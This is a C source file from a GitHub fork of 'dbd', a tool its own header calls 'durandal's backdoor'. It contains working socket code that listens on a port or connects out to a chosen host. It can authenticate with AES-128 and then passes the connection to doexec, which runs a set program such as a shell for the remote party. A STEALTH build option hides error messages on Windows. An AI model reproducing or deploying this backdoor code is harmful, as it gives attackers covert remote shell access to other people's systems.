forked from gitdurandal/dbd
-
Notifications
You must be signed in to change notification settings - Fork 2
/
socket_code.h
840 lines (756 loc) · 23.2 KB
/
socket_code.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
/*
* dbd - durandal's backdoor
* Copyright (C) 2013 Kyle Barnthouse <durandal@gitbrew.org>
*
* This program is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License as published by the Free
* Software Foundation; either version 2 of the License, or (at your option)
* any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
* more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write to the Free Software Foundation, Inc., 59
* Temple Place, Suite 330, Boston, MA 02111-1307 USA
*
* See the COPYING file for more information.
*/
/*
* dbd_listen() handles inbound connections
*/
int dbd_listen(int lport, char *bindToAddress) {
#ifdef WIN32
WORD wVersionRequested;
WSADATA wsaData;
SOCKET sd;
SOCKET clisd;
float socklib_ver;
#else
int sd;
int clisd;
#endif
int clilen;
int sopt;
struct sockaddr_in dbdAddr;
struct sockaddr_in cliAddr;
#ifdef WIN32
wVersionRequested = MAKEWORD(1,1);
if (WSAStartup(wVersionRequested, &wsaData)) {
#ifndef WINMAIN
if (!quiet)
fprintf(stderr, "WSAStartup: %s\n", WSAstrerror(WSAGetLastError()));
#else
#ifndef STEALTH
if (!quiet)
wsaerrbox("WSAStartup", WSAGetLastError());
#endif
#endif
return 1;
}
/* check if winsock DLL supports 1.1 (or higher) */
socklib_ver = HIBYTE(wsaData.wVersion) / 10.0;
socklib_ver += LOBYTE(wsaData.wVersion);
if (socklib_ver < 1.1) {
#ifndef WINMAIN
if (!quiet)
fprintf(stderr, "socket library must support 1.1 or higher\n");
#else
#ifndef STEALTH
if (!quiet)
errbox("socket library must support 1.1 or higher");
#endif
#endif
WSACleanup();
return 1;
}
#endif
/* create socket */
#ifdef WIN32
if ((sd = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET) {
#else
if ((sd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
#endif
#ifndef WINMAIN
if (!quiet)
fprintf(stderr, "socket(): %s\n",
#ifdef WIN32
WSAstrerror(WSAGetLastError())
#else
strerror(errno)
#endif
);
#else
#ifndef STEALTH
if (!quiet)
wsaerrbox("socket()", WSAGetLastError());
#endif
#endif
#ifdef WIN32
WSACleanup();
#endif
return 1;
}
/* create dbdAddr for bind() */
dbdAddr.sin_family = AF_INET;
/* dbdAddr.sin_addr.s_addr = htonl(INADDR_ANY); */
/* we don't bind to INADDR_ANY if the -a option was specified */
if (!bindToAddress) {
/* but if -a wasn't given, we have to... */
dbdAddr.sin_addr.s_addr = htonl(INADDR_ANY);
} else {
struct hostent *he_bta = NULL;
if (!(he_bta = gethostbyname(bindToAddress))) {
#ifndef WINMAIN
if (!quiet)
fprintf(stderr, "failed to resolve %s: %s\n", bindToAddress,
#ifdef WIN32
WSAstrerror(WSAGetLastError())
#else
hstrerror(h_errno)
#endif
);
#else
#ifndef STEALTH
if (!quiet)
wsaerrbox(bindToAddress, WSAGetLastError());
#endif
#endif
#ifdef WIN32
WSACleanup();
#endif
return 2;
}
dbdAddr.sin_family = he_bta->h_addrtype;
memcpy(&(dbdAddr.sin_addr), he_bta->h_addr, he_bta->h_length);
}
dbdAddr.sin_port = htons(lport);
/* set REUSEADDR socket option */
sopt = 1;
#ifdef WIN32
if (setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char*)&sopt, sizeof(sopt))) {
#else
if (setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (void*)&sopt, sizeof(sopt))) {
#endif
#ifndef WINMAIN
if (!quiet)
fprintf(stderr, "setsockopt() REUSEADDR: %s\n",
#ifdef WIN32
WSAstrerror(WSAGetLastError())
#else
strerror(errno)
#endif
);
#else
#ifndef STEALTH
if (!quiet)
wsaerrbox("setsockopt() REUSEADDR", WSAGetLastError());
#endif
#endif
#ifdef WIN32
closesocket(sd);
WSACleanup();
#else
close(sd);
#endif
return 1;
}
/* call bind() */
if (bind(sd, (struct sockaddr*) &dbdAddr, sizeof(dbdAddr))) {
#ifndef WINMAIN
if (!quiet)
fprintf(stderr, "bind(): %s\n",
#ifdef WIN32
WSAstrerror(WSAGetLastError())
#else
strerror(errno)
#endif
);
#else
#ifndef STEALTH
if (!quiet)
wsaerrbox("bind()", WSAGetLastError());
#endif
#endif
#ifdef WIN32
closesocket(sd);
WSACleanup();
#else
close(sd);
#endif
return 1;
}
/* listen for incoming connection */
if (listen(sd, 1)) {
#ifndef WINMAIN
if (!quiet)
fprintf(stderr, "listen(): %s\n",
#ifdef WIN32
WSAstrerror(WSAGetLastError())
#else
strerror(errno)
#endif
);
#else
#ifndef STEALTH
if (!quiet)
wsaerrbox("listen()", WSAGetLastError());
#endif
#endif
#ifdef WIN32
closesocket(sd);
WSACleanup();
#else
close(sd);
#endif
return 1;
}
if (verbose) {
char tempbuf[128];
tempbuf[0] = 0;
snprintf(tempbuf, sizeof(tempbuf)-1, "listening on ");
if (bindToAddress) {
snprintf(&tempbuf[strlen(tempbuf)], sizeof(tempbuf)-strlen(tempbuf),
"address %s, port %u", inet_ntoa(dbdAddr.sin_addr), (unsigned int)lport);
} else {
snprintf(&tempbuf[strlen(tempbuf)], sizeof(tempbuf)-strlen(tempbuf),
"port %u", (unsigned int)lport);
}
fprintf(stderr, "%s\n", tempbuf);
}
/* accept connection, this will block */
clilen = sizeof(cliAddr);
#ifdef WIN32
if ((clisd = accept(sd, (struct sockaddr*) &cliAddr, &clilen)) == INVALID_SOCKET) {
#else
if ((clisd = accept(sd, (struct sockaddr*) &cliAddr, &clilen)) < 0) {
#endif
#ifndef WINMAIN
if (!quiet)
fprintf(stderr, "accept(): %s\n",
#ifdef WIN32
WSAstrerror(WSAGetLastError())
#else
strerror(errno)
#endif
);
#else
#ifndef STEALTH
if (!quiet)
wsaerrbox("accept()", WSAGetLastError());
#endif
#endif
#ifdef WIN32
closesocket(sd);
WSACleanup();
#else
close(sd);
#endif
return 1;
}
/* close listening socket, we won't need it */
#ifdef WIN32
closesocket(sd);
#else
close(sd);
#endif
if (verbose) {
struct sockaddr_in gsnAddr;
int gsnlen = sizeof(struct sockaddr_in);
struct hostent *gsnhe;
char toaddr_unknown[] = "??";
char fromhost_unknown[] = "n/a";
char *toaddr = NULL;
char *fromhost = NULL;
if (getsockname(clisd, (struct sockaddr*) &gsnAddr, &gsnlen)) {
/* handle error */
#ifndef WINMAIN
if (!quiet)
fprintf(stderr, "getsockname(): %s\n",
#ifdef WIN32
WSAstrerror(WSAGetLastError())
#else
strerror(errno)
#endif
);
#else
#ifndef STEALTH
if (!quiet)
wsaerrbox("getsockname()", WSAGetLastError());
#endif
#endif
} else {
/* ok */
toaddr = strdup(inet_ntoa(gsnAddr.sin_addr));
}
if (!toaddr) {
toaddr = toaddr_unknown;
}
if (use_dns) {
if (!(gsnhe = gethostbyaddr((unsigned char *)&cliAddr.sin_addr.s_addr,
sizeof(cliAddr.sin_addr.s_addr), AF_INET))) {
/* handle error */
#ifndef WINMAIN
if (!quiet)
fprintf(stderr, "reverse lookup of %s failed: %s\n",
inet_ntoa(cliAddr.sin_addr),
#ifdef WIN32
WSAstrerror(WSAGetLastError())
#else
hstrerror(h_errno)
#endif
);
#else
#ifndef STEALTH
if (!quiet)
wsaerrbox(inet_ntoa(dbdAddr.sin_addr), WSAGetLastError());
#endif
#endif
fromhost = fromhost_unknown;
} else {
/* ok */
fromhost = (char *)gsnhe->h_name;
}
} else {
fromhost = fromhost_unknown;
}
fprintf(stderr, "connect to %s:%u from %s:%u (%s)\n",
toaddr, (unsigned int)lport, inet_ntoa(cliAddr.sin_addr),
ntohs(cliAddr.sin_port), fromhost);
}
/* if we're using AES-128 encryption, initialize the server part */
if (use_encryption) {
if (pel_server_init(clisd, aes_secret) != PEL_SUCCESS) {
#ifndef WINMAIN
if (!quiet)
fprintf(stderr, "authentication failed (aes-cbc-128)\n");
#else
#ifndef STEALTH
if (!quiet)
errbox("authentication failed (aes-cbc-128)");
#endif
#endif
#ifdef WIN32
closesocket(clisd);
WSACleanup();
#else
close(clisd);
#endif
return 2;
}
}
/* if there's a program to execute, we do just that */
#ifndef WIN32
/* ignore "Broken pipe" */
signal(SIGPIPE, SIG_IGN);
#endif
if (program_to_execute) {
if (verbose && program_to_execute) {
fprintf(stderr, "executing: %s\n", program_to_execute);
}
doexec(clisd);
/* doexec closes the socket when done */
#ifndef WINMAIN
if (verbose) {
fprintf(stderr, "connection closed\n");
}
#endif
} else {
readwrite(clisd);
#ifdef WIN32
closesocket(clisd);
#else
close(clisd);
#endif
}
#ifndef WIN32
/* restore default OS behaviour
("Broken pipe" messages at least under Linux and *BSD)
*/
signal(SIGPIPE, SIG_DFL);
#endif
#ifdef WIN32
WSACleanup();
#endif
return 0;
}
/*
* dbd_connect() handles outbound connections
*/
int dbd_connect(char *chost, int cport, int mysport, char *bindToAddress) {
#ifdef WIN32
WORD wVersionRequested;
WSADATA wsaData;
SOCKET sd;
float socklib_ver;
#else
int sd;
#endif
int sopt;
struct hostent *he = NULL;
struct sockaddr_in dbdAddr;
struct sockaddr_in bindAddr;
char *arpa_host = NULL;
#ifdef WIN32
wVersionRequested = MAKEWORD(1,1);
if (WSAStartup(wVersionRequested, &wsaData)) {
#ifndef WINMAIN
if (!quiet)
fprintf(stderr, "WSAStartup: %s\n", WSAstrerror(WSAGetLastError()));
#else
#ifndef STEALTH
if (!quiet)
wsaerrbox("WSAStartup", WSAGetLastError());
#endif
#endif
return 1;
}
/* check if winsock DLL supports 1.1 (or higher) */
socklib_ver = HIBYTE(wsaData.wVersion) / 10.0;
socklib_ver += LOBYTE(wsaData.wVersion);
if (socklib_ver < 1.1) {
#ifndef WINMAIN
if (!quiet)
fprintf(stderr, "socket library must support 1.1 or higher\n");
#else
#ifndef STEALTH
if (!quiet)
errbox("socket library must support 1.1 or higher");
#endif
#endif
WSACleanup();
return 1;
}
#endif
/* resolve hostname */
/* fist check if it's an ip address or a hostname */
dbdAddr.sin_addr.s_addr = inet_addr(chost);
if (dbdAddr.sin_addr.s_addr == INADDR_NONE) {
/* it seems to be a hostname */
if (!use_dns) {
fprintf(stderr, "warning: resolving \"%s\" even though you specified -n\n", chost);
}
if (!(he = gethostbyname(chost))) {
#ifndef WINMAIN
if (!quiet)
fprintf(stderr, "failed to resolve %s: %s\n", chost,
#ifdef WIN32
WSAstrerror(WSAGetLastError())
#else
hstrerror(h_errno)
#endif
);
#else
#ifndef STEALTH
if (!quiet)
wsaerrbox(chost, WSAGetLastError());
#endif
#endif
#ifdef WIN32
WSACleanup();
#endif
return 2;
}
/* create dbdAaddr */
dbdAddr.sin_family = he->h_addrtype;
memcpy(&(dbdAddr.sin_addr), he->h_addr, he->h_length);
if (verbose) { /* in addition, do reverse lookup of ip */
if (use_dns) {
if (!(he = gethostbyaddr((unsigned char *)&dbdAddr.sin_addr.s_addr,
sizeof(dbdAddr.sin_addr.s_addr), AF_INET))) {
/* handle error */
#ifndef WINMAIN
if (!quiet)
fprintf(stderr, "reverse lookup of %s failed: %s\n",
inet_ntoa(dbdAddr.sin_addr),
#ifdef WIN32
WSAstrerror(WSAGetLastError())
#else
hstrerror(h_errno)
#endif
);
#else
#ifndef STEALTH
if (!quiet)
wsaerrbox(inet_ntoa(dbdAddr.sin_addr), WSAGetLastError());
#endif
#endif
arpa_host = chost;
} else {
/* ok */
if (!(arpa_host = strdup((const char *)he->h_name))) {
arpa_host = chost;
}
}
} else {
arpa_host = chost;
}
}
} else {
/* else it seems to be an ip address */
/* create dbdAaddr */
dbdAddr.sin_family = AF_INET;
/* dbdAddr.sin_addr.s_addr has already been filled in above */
if (verbose) { /* do reverse lookup */
if (use_dns) {
if (!(he = gethostbyaddr((unsigned char *)&dbdAddr.sin_addr.s_addr,
sizeof(dbdAddr.sin_addr.s_addr), AF_INET))) {
/* handle error */
#ifndef WINMAIN
if (!quiet)
fprintf(stderr, "reverse lookup of %s failed: %s\n",
inet_ntoa(dbdAddr.sin_addr),
#ifdef WIN32
WSAstrerror(WSAGetLastError())
#else
hstrerror(h_errno)
#endif
);
#else
#ifndef STEALTH
if (!quiet)
wsaerrbox(inet_ntoa(dbdAddr.sin_addr), WSAGetLastError());
#endif
#endif
arpa_host = chost;
} else {
/* ok */
if (!(arpa_host = strdup((const char *)he->h_name))) {
arpa_host = chost;
}
}
} else {
arpa_host = chost;
}
}
}
dbdAddr.sin_port = htons(cport);
/* create socket */
#ifdef WIN32
if ((sd = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET) {
#else
if ((sd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
#endif
#ifndef WINMAIN
if (!quiet)
fprintf(stderr, "socket(): %s\n",
#ifdef WIN32
WSAstrerror(WSAGetLastError())
#else
strerror(errno)
#endif
);
#else
#ifndef STEALTH
if (!quiet)
wsaerrbox("socket()", WSAGetLastError());
#endif
#endif
#ifdef WIN32
WSACleanup();
#endif
return 1;
}
/* if -a was specified, bind to a specific address */
if (bindToAddress) {
/* we don't bind to INADDR_ANY if the -a option was specified */
struct hostent *he_bta = NULL;
if (!(he_bta = gethostbyname(bindToAddress))) {
#ifndef WINMAIN
if (!quiet)
fprintf(stderr, "failed to resolve %s: %s\n", bindToAddress,
#ifdef WIN32
WSAstrerror(WSAGetLastError())
#else
hstrerror(h_errno)
#endif
);
#else
#ifndef STEALTH
if (!quiet)
wsaerrbox(bindToAddress, WSAGetLastError());
#endif
#endif
#ifdef WIN32
WSACleanup();
#endif
return 2;
}
bindAddr.sin_family = he_bta->h_addrtype;
memcpy(&(bindAddr.sin_addr), he_bta->h_addr, he_bta->h_length);
} else {
/* but if -a wasn't given, we have to set it to INADDR_ANY... */
bindAddr.sin_addr.s_addr = htonl(INADDR_ANY);
}
/* default port */
bindAddr.sin_port = htons(0);
/* if sport is > 0 && <= 65535, attempt to bind() to sport */
if ((mysport) && (mysport <= 65535)) {
bindAddr.sin_family = AF_INET;
bindAddr.sin_port = htons(mysport);
/* set REUSEADDR socket option */
sopt = 1;
#ifdef WIN32
if (setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char*)&sopt, sizeof(sopt))) {
#else
if (setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (void*)&sopt, sizeof(sopt))) {
#endif
#ifndef WINMAIN
if (!quiet)
fprintf(stderr, "setsockopt() REUSEADDR: %s\n",
#ifdef WIN32
WSAstrerror(WSAGetLastError())
#else
strerror(errno)
#endif
);
#else
#ifndef STEALTH
if (!quiet)
wsaerrbox("setsockopt() REUSEADDR", WSAGetLastError());
#endif
#endif
#ifdef WIN32
closesocket(sd);
WSACleanup();
#else
close(sd);
#endif
return 2;
}
}
/* don't bind unless source port and/or address was given */
if ((bindToAddress) || ((mysport) && (mysport <= 65535))) {
/* bind to custom address and/or source port */
if (bind(sd, (struct sockaddr*) &bindAddr, sizeof(bindAddr))) {
#ifndef WINMAIN
if (!quiet)
fprintf(stderr, "bind(): %s\n",
#ifdef WIN32
WSAstrerror(WSAGetLastError())
#else
strerror(errno)
#endif
);
#else
#ifndef STEALTH
if (!quiet)
wsaerrbox("bind()", WSAGetLastError());
#endif
#endif
#ifdef WIN32
closesocket(sd);
WSACleanup();
#else
close(sd);
#endif
return 2;
}
}
if (verbose) {
char tempbuf[256];
char *ascii_ip = strdup(inet_ntoa(dbdAddr.sin_addr));
tempbuf[0] = 0;
if ((!strcasecmp(chost, arpa_host))) {
/* if chost == arpa_host no need to parse in arpa_host */
snprintf(tempbuf, sizeof(tempbuf)-1, "connecting to %s [%s] on port %u",
chost, ascii_ip,
(unsigned int)cport);
} else {
/* chost != arpa_host, parse in both */
snprintf(tempbuf, sizeof(tempbuf)-1, "connecting to %s (%s) [%s] on port %u",
chost, arpa_host, ascii_ip,
(unsigned int)cport);
}
if (bindToAddress) {
snprintf(&tempbuf[strlen(tempbuf)], sizeof(tempbuf)-strlen(tempbuf),
" from %s", inet_ntoa(bindAddr.sin_addr));
if (mysport) {
snprintf(&tempbuf[strlen(tempbuf)], sizeof(tempbuf)-strlen(tempbuf),
":%u", (unsigned int)mysport);
}
} else {
if (mysport) {
snprintf(&tempbuf[strlen(tempbuf)], sizeof(tempbuf)-strlen(tempbuf),
" (from source port %u)", (unsigned int)mysport);
}
}
fprintf(stderr, "%s\n", tempbuf);
free(ascii_ip);
}
/* connect */
if (connect(sd, (struct sockaddr*)&dbdAddr, sizeof(dbdAddr))) {
#ifndef WINMAIN
if (!quiet)
fprintf(stderr, "connect(): %s\n",
#ifdef WIN32
WSAstrerror(WSAGetLastError())
#else
strerror(errno)
#endif
);
#else
#ifndef STEALTH
if ((!quiet) && (!respawn_enabled))
wsaerrbox("connect()", WSAGetLastError());
#endif
#endif
#ifdef WIN32
closesocket(sd);
WSACleanup();
#else
close(sd);
#endif
return 2;
}
if (verbose) {
fprintf(stderr, "connected to %s:%u\n",
inet_ntoa(dbdAddr.sin_addr),
(unsigned int)cport);
}
/* we've got a connection */
/* if we're using AES-128 encryption, initialize the client part */
if (use_encryption) {
if (pel_client_init(sd, aes_secret) != PEL_SUCCESS) {
#ifndef WINMAIN
if (!quiet)
fprintf(stderr, "authentication failed (aes-cbc-128)\n");
#else
#ifndef STEALTH
if (!quiet)
errbox("authentication failed (aes-cbc-128)");
#endif
#endif
#ifdef WIN32
closesocket(sd);
WSACleanup();
#else
close(sd);
#endif
return 2;
}
}
/* if there's a program to execute, we do just that */
if (program_to_execute) {
doexec(sd);
/* doexec closes the socket when done */
#ifndef WINMAIN
if (verbose) {
fprintf(stderr, "connection closed\n");
}
#endif
} else {
readwrite(sd);
#ifdef WIN32
closesocket(sd);
#else
close(sd);
#endif
}
#ifdef WIN32
WSACleanup();
#endif
return 0;
}